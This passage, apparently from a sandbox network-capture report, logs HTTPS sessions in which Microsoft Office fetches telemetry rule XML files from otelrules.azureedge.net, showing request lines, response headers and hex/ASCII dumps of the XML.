0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702300" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Project" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenProject" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
128	192.168.2.4	49883	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 01:28:18 UTC	192	OUT	GET /rules/rule703401v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 01:28:18 UTC	563	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 01:28:18 GMT Content-Type: text/xml Content-Length: 1425 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:55 GMT ETag: "0x8DC582BE6BD89A1" x-ms-request-id: a453eede-301e-0033-02d5-26fa9c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T012818Z-17c5cb586f66g7mvgrudxte95400000002a0000000008yuc x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 01:28:18 UTC	1425	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 34 30 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 72 6f 67 72 61 6d 6d 61 62 6c 65 53 75 72 66 61 63 65 73 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703401" V="0" DC="SM" EN="Office.Telemetry.Event.Office.ProgrammableSurfaces.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="Nexus

Session ID	Source IP	Source Port	Destination IP	Destination Port
129	192.168.2.4	49884	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 01:28:18 UTC	192	OUT	GET /rules/rule703400v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 01:28:18 UTC	584	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 01:28:18 GMT Content-Type: text/xml Content-Length: 1388 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:37 GMT ETag: "0x8DC582BDBD9126E" x-ms-request-id: e02f31dd-001e-0082-0849-275880000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T012818Z-16849878b787wpl5wqkt5731b40000000860000000001sgp x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 01:28:18 UTC	1388	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 34 30 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 72 6f 67 72 61 6d 6d 61 62 6c 65 53 75 72 66 61 63 65 73 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 72 6f 67 72 61 6d 6d 61 62 6c 65 53 75 72 66 61 63 65 73 22 20 53 3d 22 4d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703400" V="0" DC="SM" EN="Office.Telemetry.Event.Office.ProgrammableSurfaces" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenProgrammableSurfaces" S="M

Session ID	Source IP	Source Port	Destination IP	Destination Port
130	192.168.2.4	49885	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 01:28:18 UTC	192	OUT	GET /rules/rule702501v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 01:28:18 UTC	584	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 01:28:18 GMT Content-Type: text/xml Content-Length: 1415 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:57 GMT ETag: "0x8DC582BE7C66E85" x-ms-request-id: 6afd71f5-301e-003f-7d9e-26266f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T012818Z-16849878b785dznd7xpawq9gcn00000008rg00000000c2mv x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-10-30 01:28:18 UTC	1415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 35 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 72 6f 67 72 61 6d 6d 61 62 69 6c 69 74 79 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702501" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Programmability.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenan

Session ID	Source IP	Source Port	Destination IP	Destination Port
131	192.168.2.4	49886	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 01:28:18 UTC	192	OUT	GET /rules/rule702500v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 01:28:19 UTC	591	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 01:28:18 GMT Content-Type: text/xml Content-Length: 1378 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:36 GMT ETag: "0x8DC582BDB813B3F" x-ms-request-id: c7eb8168-b01e-003e-3b2c-2a8e41000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T012818Z-r197bdfb6b4skzzvqpzzd3xetg00000006vg000000001uzu x-fd-int-roxy-purgeid: 0 X-Cache-Info: L2_T2 X-Cache: TCP_REMOTE_HIT Accept-Ranges: bytes
2024-10-30 01:28:19 UTC	1378	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 35 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 72 6f 67 72 61 6d 6d 61 62 69 6c 69 74 79 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 72 6f 67 72 61 6d 6d 61 62 69 6c 69 74 79 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702500" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Programmability" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenProgrammability" S="Medium" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
132	192.168.2.4	49887	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 01:28:18 UTC	192	OUT	GET /rules/rule700501v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 01:28:19 UTC	563	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 01:28:19 GMT Content-Type: text/xml Content-Length: 1405 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:58 GMT ETag: "0x8DC582BE89A8F82" x-ms-request-id: 3cf1e449-401e-00a3-55d5-288b09000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T012819Z-15b8d89586f4zwgbgswvrvz4vs00000008tg000000001p94 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 01:28:19 UTC	1405	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 35 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 6f 77 65 72 50 6f 69 6e 74 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700501" V="1" DC="SM" EN="Office.Telemetry.Event.Office.PowerPoint.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantToke

Session ID	Source IP	Source Port	Destination IP	Destination Port
133	192.168.2.4	49888	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 01:28:19 UTC	192	OUT	GET /rules/rule700500v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 01:28:19 UTC	563	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 01:28:19 GMT Content-Type: text/xml Content-Length: 1368 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:53 GMT ETag: "0x8DC582BE51CE7B3" x-ms-request-id: dbdc188e-001e-002b-6b28-2799f2000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T012819Z-15b8d89586fqj7k5h9gbd8vs9800000008kg000000004f4x x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 01:28:19 UTC	1368	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 35 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 6f 77 65 72 50 6f 69 6e 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 6f 77 65 72 50 6f 69 6e 74 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700500" V="1" DC="SM" EN="Office.Telemetry.Event.Office.PowerPoint" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenPowerPoint" S="Medium" /> <F T=

Session ID	Source IP	Source Port	Destination IP	Destination Port
134	192.168.2.4	49889	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 01:28:19 UTC	192	OUT	GET /rules/rule702551v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 01:28:19 UTC	563	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 01:28:19 GMT Content-Type: text/xml Content-Length: 1415 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:39 GMT ETag: "0x8DC582BDCE9703A" x-ms-request-id: d4940829-c01e-0014-691e-27a6a3000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T012819Z-17c5cb586f626sn8grcgm1gf8000000005wg0000000044g9 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 01:28:19 UTC	1415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 35 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 65 72 73 6f 6e 61 6c 69 7a 61 74 69 6f 6e 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702551" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Personalization.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenan

Session ID	Source IP	Source Port	Destination IP	Destination Port
135	192.168.2.4	49890	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 01:28:19 UTC	192	OUT	GET /rules/rule702550v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 01:28:19 UTC	584	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 01:28:19 GMT Content-Type: text/xml Content-Length: 1378 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:53 GMT ETag: "0x8DC582BE584C214" x-ms-request-id: c49cf7be-b01e-0002-3880-271b8f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T012819Z-16849878b78qf2gleqhwczd21s00000007f000000000n6rc x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-10-30 01:28:19 UTC	1378	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 35 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 65 72 73 6f 6e 61 6c 69 7a 61 74 69 6f 6e 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 65 72 73 6f 6e 61 6c 69 7a 61 74 69 6f 6e 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702550" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Personalization" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenPersonalization" S="Medium" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
136	192.168.2.4	49891	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 01:28:19 UTC	192	OUT	GET /rules/rule701351v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 01:28:19 UTC	584	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 01:28:19 GMT Content-Type: text/xml Content-Length: 1407 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:55 GMT ETag: "0x8DC582BE687B46A" x-ms-request-id: a86168e1-701e-0097-7f6b-27b8c1000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T012819Z-17c5cb586f626sn8grcgm1gf8000000005tg00000000b52p x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 01:28:19 UTC	1407	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 33 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 65 72 66 6f 72 6d 61 6e 63 65 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701351" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Performance.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTok

Session ID	Source IP	Source Port	Destination IP	Destination Port
137	192.168.2.4	49892	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 01:28:19 UTC	192	OUT	GET /rules/rule701350v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 01:28:19 UTC	563	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 01:28:19 GMT Content-Type: text/xml Content-Length: 1370 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:41 GMT ETag: "0x8DC582BDE62E0AB" x-ms-request-id: 135a34dd-b01e-0098-371c-27cead000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T012819Z-r197bdfb6b466qclztvgs64z10000000094g000000002d7t x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 01:28:19 UTC	1370	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 33 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 65 72 66 6f 72 6d 61 6e 63 65 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 65 72 66 6f 72 6d 61 6e 63 65 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701350" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Performance" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenPerformance" S="Medium" /> <F

Session ID	Source IP	Source Port	Destination IP	Destination Port
138	192.168.2.4	49893	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 01:28:20 UTC	192	OUT	GET /rules/rule702151v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 01:28:20 UTC	584	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 01:28:20 GMT Content-Type: text/xml Content-Length: 1397 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:46 GMT ETag: "0x8DC582BE156D2EE" x-ms-request-id: b4130024-d01e-0082-10a3-26e489000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T012820Z-16849878b78g2m84h2v9sta290000000065000000000t91h x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 01:28:20 UTC	1397	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 31 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 65 6f 70 6c 65 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 65 6f Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702151" V="1" DC="SM" EN="Office.Telemetry.Event.Office.People.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenPeo

Session ID	Source IP	Source Port	Destination IP	Destination Port
139	192.168.2.4	49894	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 01:28:20 UTC	192	OUT	GET /rules/rule702150v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
